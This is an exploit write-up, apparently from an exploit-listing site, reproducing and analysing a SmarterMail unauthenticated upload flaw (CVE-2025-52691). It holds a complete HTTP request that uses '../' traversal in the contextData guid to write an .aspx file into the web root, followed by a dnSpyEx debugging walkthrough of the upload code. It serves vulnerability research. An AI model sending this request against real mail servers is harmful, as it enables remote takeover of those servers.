## https://sploitus.com/exploit?id=C83C512F-6755-513A-80F4-8CAC48D10377
# CVE-2025-2025-52691-SmarterMail-Exp
# Environment Setup
```
SmarterMail 9400
https://downloads.smartertools.com/smartermail/100.0.9400/SmarterMail_9400.exe
Chrome
https://www.google.com/chrome/dev/
Winserver 2016
ed2k://|file|cn_windows_server_2016_x64_dvd_9718765.iso|6176450560|CF1B73D220F1160DE850D9E1979DBD50|/
DNSpyEx
https://github.com/dnSpyEx/dnSpy/releases
FindEverything
https://www.voidtools.com/zh-cn/support/everything/
```
The installation process is a default one; there’s nothing special to mention. During the installation, you’ll be asked to configure a domain name. I configured it as `yun.cn`.
Add the corresponding configuration to the `hosts` file.



# Vulnerability Reproduction
To access using the configured domain name, IP addresses won’t work.

```http
POST /api/upload HTTP/1.1
Host: yun.cn:9998
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 6185
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="context"
attachment
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableIdentifier"
fakeID
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableFilename"
fakefile.aspx
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="contextData"
{"guid":"dag/../../../../../../../inetpub/wwwroot/D7zC1a"}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="whatever"; filename="fake.jpg"
[The file you uploaded]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

# Vulnerability Analysis
Found `MailSerivce.dll`, drag it to `DNSpyEx`.

Found the `SmartMail.Web.Api` namespace.
!
There is a `FileUploadController` class; the corresponding routes are `api/upload` and the routes in exp.



Perform dynamic debugging.


Set breakpoints in the relevant code.

When sending the payload again, you need to modify the value of `resumableFilename`; it just needs to be different from the previous one.

Breakpoint set successfully.

In the request packet, the `context` value is `attachment`; this should lead to this branch.


The next breakpoint jumps here.

Check the file extension.

The `configuration.FileName` actually corresponds to the value of `resumableFilename` in the request packet.


However, the list of banned extensions here is empty.

Split uploading will generate a temporary file first, storing the content of the split uploads.


Then, in the `TryAssembleFile` function, try to merge the files from the split uploads and delete the temporary file.

Finally, in the `ProcessCompletedUploaded` function, complete the final directory traversal.
